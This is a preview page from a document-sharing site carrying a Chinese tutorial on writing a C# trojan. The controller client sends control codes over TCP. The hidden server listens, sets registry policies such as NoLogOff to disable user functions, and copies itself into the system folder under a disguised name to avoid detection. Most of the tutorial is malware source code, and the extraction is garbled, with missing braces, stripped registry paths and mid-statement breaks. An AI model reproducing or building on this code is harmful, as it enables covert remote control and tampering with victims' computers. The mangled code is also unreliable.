![C#木馬[二類(lèi)參考]_第1頁(yè)](http://file2.renrendoc.com/fileroot_temp3/2021-11/5/79ff5e49-8f90-415e-b75b-b03f889b2b6b/79ff5e49-8f90-415e-b75b-b03f889b2b6b1.gif)
![C#木馬[二類(lèi)參考]_第2頁(yè)](http://file2.renrendoc.com/fileroot_temp3/2021-11/5/79ff5e49-8f90-415e-b75b-b03f889b2b6b/79ff5e49-8f90-415e-b75b-b03f889b2b6b2.gif)
下載本文檔
版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、木馬的介紹因?yàn)楸疚氖翘接懩抉R程序,所以在介紹之前有一些木馬構(gòu)成的基本知識(shí)事先說(shuō)明。一個(gè)完整的木馬系統(tǒng)由硬件部分,軟件部分和具體連接部分組成。這里主要對(duì)軟件部分介紹,它主要有控制端程序、木馬程序(后臺(tái)服務(wù)程序)、木馬配制程序組成??刂贫擞靡赃h(yuǎn)程控制服務(wù)端的程序;木馬程序是潛入服務(wù)端內(nèi)部,獲取其操作權(quán)限的程序;木馬配制程序是設(shè)置木馬程序的端口號(hào),觸發(fā)條件,木馬名稱等,使其在服務(wù)端藏的更隱蔽的程序。使用的技術(shù):控制端程序發(fā)送控制碼控制服務(wù)器,服務(wù)器后臺(tái)運(yùn)行,修改注冊(cè)表達(dá)到控制的目的。技術(shù)不是很難的,主要體現(xiàn)C#的網(wǎng)絡(luò)編程和注冊(cè)表的修改??刂贫碎_(kāi)發(fā):控制端向服務(wù)器發(fā)出一段控制碼,服務(wù)端(木馬程序)收到
2、控制碼后,根據(jù)控制的要求,完成指定的要求,如果服務(wù)器完成工作,返回成功的信息??刂贫说拈_(kāi)發(fā):控制碼的設(shè)定你可以自已設(shè)定,不需要詳解,主要有以下幾個(gè)難點(diǎn)1、 連接請(qǐng)求使用了.NET類(lèi)中的 System.Net.Sockets.TcpClient類(lèi),TcpClient(string hostname,int port)Hostname 是要控制的主機(jī)名稱,當(dāng)然你也可以用IP地址。Port是端口。/ System.EventArgs包含事件數(shù)據(jù)類(lèi)的基類(lèi)private void button7_Click(object sender, System.EventArgs e)/記錄操作,在richTex
3、tBox控件中增加操作信息richTextBox1.AppendText("請(qǐng)求連接" +textBox1.Text +" ");int port =6678;try/初始化 TcpClient 類(lèi)的新實(shí)例并連接到指定主機(jī)上的指定端口client = new TcpClient(textBox1.Text,port);catchMessageBox.Show("服務(wù)器不在線!確定是否輸入主機(jī)名稱.");richTextBox1.AppendText("服務(wù)器不在線!確定是否輸入主機(jī)名稱.");/private vo
4、id buttion2、測(cè)試是否與被控制機(jī)連接上。程序的流程是發(fā)送控制碼看控制端是否有反應(yīng),如果有返回則顯示控制成功。 /提供網(wǎng)絡(luò)訪問(wèn)的數(shù)據(jù)流/private NetworkStream stream;代碼如下:private void button8_Click(object sender, System.EventArgs e)/紀(jì)錄操作2、 richTextBox1.AppendText("測(cè)試連接" +" ");trystream = client.GetStream();if(stream.CanWrite)/發(fā)送控制碼string contr
5、ol = "jiance"byte by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray();stream.Write(by,0,by.Length);/下次使用stream.Flush();/啟動(dòng)接收反回?cái)?shù)據(jù)的線程/receive是線程執(zhí)行的函數(shù),見(jiàn)后面的分析threadReceive = new Thread(new ThreadStart(receive);threadReceive.Start();catch(Exception ee)richTextBox1.AppendText (ee.Messa
6、ge+" ");MessageBox.Show(ee.Message);3、控制生效的代碼private void button9_Click(object sender, System.EventArgs e)/這里是確定要發(fā)送的控制碼,RadioButton是窗體控件if(radioButton1.Checked) control = form2.zhucex;else if(radioButton2.Checked) control =form3.zhuces;else if(radioButton3.Checked) control = warring;else i
7、f(radioButton4.Checked) control =suggest;else if(radioButton5.Checked) control =form4.mumawe;else if(radioButton6.Checked) control =drop;if (control ="000000")MessageBox.Show("你沒(méi)有輸入任何控制目標(biāo)!不發(fā)控制信號(hào)");richTextBox1.AppendText("你沒(méi)有輸入任何控制目標(biāo)!不發(fā)控制信號(hào)");else if(control != "00
8、0000")try/記錄操作richTextBox1.AppendText (control + "正在試圖控制,等待回應(yīng)." + " ");stream = client.GetStream();if(stream.CanWrite )byte by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ();stream.Write(by,0,by.Length);stream.Flush();threadReceive =new Thread(new ThreadStart(r
9、eceive);threadReceive.Start();/endif/trycatchrichTextBox1.AppendText("服務(wù)器未連接1控制無(wú)效!" +" ");MessageBox.Show("服務(wù)器未連接1控制無(wú)效!" +" ");/else if4、線程執(zhí)行的函數(shù) private void receive()/設(shè)置讀取數(shù)據(jù)的空間byte bb = new byte3;/讀取3個(gè)字節(jié),i為實(shí)際讀取的字節(jié)數(shù)int i = stream.Read(bb,0,3);/轉(zhuǎn)換成字符串,如果是中文控制碼則
10、用string ss = /System.Text.Encoding.Unicode.GetString(bb);string ss = System.Text.Encoding.ASCII.GetString(bb);/hjc為我設(shè)置的服務(wù)器的返回碼 hjc為連接成功,hkz為控制成功if(ss="hjc")MessageBox.Show("連接成功");richTextBox1.AppendText("連接成功");if(ss= "hkz")richTextBox1.AppendText(control +&q
11、uot;控制成功"+" ");MessageBox.Show(control +"控制成功"+" ");服務(wù)端的開(kāi)發(fā):要實(shí)現(xiàn)木馬服務(wù)的程序,主要實(shí)現(xiàn)以下幾個(gè)功能:后臺(tái)的運(yùn)行(隱藏技術(shù)),控制碼的接收與注冊(cè)表的修改,下面對(duì)這三方面做介紹:1、在VC#中,建立一個(gè)后臺(tái)服務(wù)程序是很容易的,先建立一個(gè)新的C#的Windows應(yīng)用程序,項(xiàng)目名稱自定(不過(guò)為了隱藏可使用與系統(tǒng)相近的名稱),將窗體屬性“ShowInTaskbar”屬性設(shè)為false,讓它運(yùn)行時(shí)不會(huì)在任務(wù)欄中顯示,并將屬性“Windowstate”屬性設(shè)為 Mininize
12、d即可,這樣窗體就可以隱藏運(yùn)行了。當(dāng)然你也可以在InitializeComponent()設(shè)置,此函數(shù)起初始化的作用,在窗體顯示前運(yùn)行,代碼如下:private void InitializeComponent()/ Form1/窗體顯示的起點(diǎn)和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);/窗體名稱this.Name = "Form1"/設(shè)置屬性讓它后臺(tái)運(yùn)行this.ShowInTaskbar = f
13、alse;this.Text = "Form1"this.WindowState = System.Windows.Forms.FormWindowState.Minimized;3、 控制代碼的接收,必需在服務(wù)程序運(yùn)行開(kāi)始就啟動(dòng),所以偵聽(tīng)線程必需在程序初始化中啟動(dòng),所以放在窗體的構(gòu)造函數(shù)中,代碼注解如下:public Form1() /窗體的構(gòu)造函數(shù)/ Windows 窗體設(shè)計(jì)器支持所必需的/InitializeComponent();/ TODO: 在 InitializeComponent 調(diào)用后添加任何構(gòu)造函數(shù)代碼/加入你的偵聽(tīng)代碼/端口你可以自已設(shè)定,我使用了固定
14、的端口int port =6678;/System.Net.Sockets.TcpListener是用來(lái)在Tcp網(wǎng)絡(luò)中偵聽(tīng)客戶端的listener = new TcpListener(port);/啟動(dòng)偵聽(tīng)listener.Start();/增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()/reControlCode 是線程啟動(dòng)執(zhí)行的函數(shù),此函數(shù)根據(jù)接收的控制/控制碼選取合適的注冊(cè)表修改函數(shù)Thread thread = new Thread(new ThreadStart(reControlCode);thread.Start();reControlCode函數(shù)如下,
15、完整代碼見(jiàn)程序private void reControlCode()/設(shè)置接收套接字,接收l(shuí)istener.AcceptSocket是返回已經(jīng)接收的客戶的請(qǐng)求socket = listener.AcceptSocket();/如果連接成功執(zhí)行while (socket.Connected)/接收控制碼byte by =new byte6;int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);/根據(jù)控制碼執(zhí)行不同的功能/修改注冊(cè)表加入編碼switch (ss)ca
16、se "jiance":/測(cè)試連接,返回測(cè)試信息string str ="hjc"byte bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000":/修改注冊(cè)表函數(shù),自已定義,見(jiàn)下面分析UnLogOff();/返回控制消息retMessage();break;case "zx0100":/修改注冊(cè)表函數(shù)UnClose();/返回控制消息retMessage();b
17、reak;/重復(fù)的case功能與前面一樣,略掉default:break;/case/while /private void reControlCode 3、C#中實(shí)現(xiàn)注冊(cè)表的修改,使用了.NET類(lèi)庫(kù)中的System.Microsoft.Win32命令空間,它提供兩種類(lèi)型的類(lèi):處理由操作系統(tǒng)引發(fā)的事件的類(lèi)和對(duì)系統(tǒng)注冊(cè)表進(jìn)行操作的類(lèi)。下面就可以看到它的用法。這里我做了一個(gè)修改注冊(cè)表的子程序:使計(jì)算機(jī)不能注銷(xiāo)。在這之前先了解注冊(cè)表,在子鍵SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer下面設(shè)鍵值NoLogOff 為 1 即可使計(jì)算機(jī)無(wú)法注
18、銷(xiāo)。在下面的函數(shù)中用C#實(shí)現(xiàn)對(duì)注冊(cè)表的修改:private void UnLogOff()/得到主機(jī)的注冊(cè)表的頂級(jí)節(jié)點(diǎn)Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;/設(shè)置一個(gè)注冊(cè)表子鍵的變量RegistryKey key1;try/函數(shù)RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵/registrykey是用戶指定的鍵值,canwrite 為true則可修改,默認(rèn)為fasle不可改key1 =rLocal.OpenSubKey("SO
19、FTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer",true);/設(shè)置子鍵的鍵名,和值key1.SetValue ("NoLogOff",1);/關(guān)閉打開(kāi)的子鍵key1.Close();/警告字符串設(shè)定mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer鍵值Nologoff被修改!請(qǐng)將它置為0!"catch/如果不存在自已建立if(key1 =null)try/使用R
20、egistryKey.CreateSubKey(string mystring)函數(shù)來(lái)建立你需要的子鍵RegistryKey key2 = rLocal.CreateSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer鍵值Nologoff被修改!請(qǐng)將它置為0!"catch4、在木馬程序中還有一個(gè)重要的功能就是自我的復(fù)制和轉(zhuǎn)移。木馬引入被控制的主機(jī)時(shí)必需自動(dòng)將木馬隱藏在System,System32的目錄下以防被發(fā)現(xiàn)。轉(zhuǎn)移的代碼分析如下,主要實(shí)現(xiàn)的功能是將D盤(pán)下的木馬程序轉(zhuǎn)移到C:winnntsystemmsdoss.exe,同時(shí)換名稱。使用的.NET命名空間System.IO,它的作用是允許對(duì)數(shù)據(jù)流和文件進(jìn)行同步和異步讀寫(xiě)。這里我們使用
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 購(gòu)平房合同范本
- 2025年度購(gòu)物中心裝修終止合同協(xié)議范本
- 堤壩加固合同范本
- 2024-2030年中國(guó)gps導(dǎo)航系統(tǒng)行業(yè)市場(chǎng)發(fā)展監(jiān)測(cè)及投資方向研究報(bào)告
- 浙江省歷史與社會(huì)九年級(jí)人教版上冊(cè) 2.2.1 土耳其凱末爾革命 教學(xué)設(shè)計(jì)
- 2025年度礦業(yè)權(quán)抵押貸款擔(dān)保與風(fēng)險(xiǎn)評(píng)估合同
- 2022-2027年中國(guó)袋泡茶行業(yè)市場(chǎng)深度分析及投資戰(zhàn)略咨詢報(bào)告
- 2025年度車(chē)展場(chǎng)地租賃合同(汽車(chē)改裝及配件交易)
- 6 體驗(yàn)造紙 教學(xué)設(shè)計(jì)-2024-2025學(xué)年科學(xué)二年級(jí)上冊(cè)冀人版
- 自行車(chē)存放服務(wù)行業(yè)市場(chǎng)發(fā)展及發(fā)展趨勢(shì)與投資戰(zhàn)略研究報(bào)告
- 網(wǎng)絡(luò)賬號(hào)信息登記表
- 航空維修工程管理第1章分析課件
- NB∕T 14006-2020 頁(yè)巖氣氣田集輸工程設(shè)計(jì)規(guī)范
- 新湘科版五年級(jí)下冊(cè)科學(xué)教案全冊(cè)教學(xué)設(shè)計(jì)
- 水土保持各種分級(jí)標(biāo)準(zhǔn)表與指標(biāo)
- 部編版四年級(jí)語(yǔ)文下冊(cè)27《巨人的花園》PPT課件(共2課時(shí))
- 測(cè)繪項(xiàng)目收費(fèi)標(biāo)準(zhǔn)2009
- 社區(qū)醫(yī)院建設(shè)標(biāo)準(zhǔn)
- 個(gè)人所得稅稅率表【自動(dòng)提取稅率計(jì)算】
- 浙美版小學(xué)美術(shù)五年級(jí)下冊(cè)課件1畫(huà)家故居
- 中國(guó)作家協(xié)會(huì)入會(huì)申請(qǐng)表
評(píng)論
0/150
提交評(píng)論